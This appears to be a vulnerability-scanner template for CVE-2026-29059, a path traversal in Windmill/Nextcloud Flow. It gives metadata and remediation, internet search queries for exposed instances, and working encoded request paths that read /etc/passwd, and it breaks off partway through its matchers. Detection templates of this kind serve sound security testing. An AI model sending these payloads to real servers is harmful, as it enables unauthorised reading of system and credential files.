id: CVE-2026-29059 info: name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal author: 0x_Akoko severity: critical description: | Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication. impact: | Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information. remediation: | Update to version 1.603.3 or later. reference: - https://github.com/Chocapikk/Windfall - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/ - https://nvd.nist.gov/vuln/detail/CVE-2026-29059 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H cvss-score: 10.0 cve-id: CVE-2026-29059 epss-score: 0.02608 epss-percentile: 0.8377 cwe-id: CWE-22 metadata: max-request: 4 vendor: windmill product: windmill verified: true shodan-query: http.html:"Windmill" http.html:"svelte-global-loader" fofa-query: app="Windmill" tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev http: - method: GET path: - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" - "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd" - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd" - "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "root:x:0:0:" - type: word part: body words: - "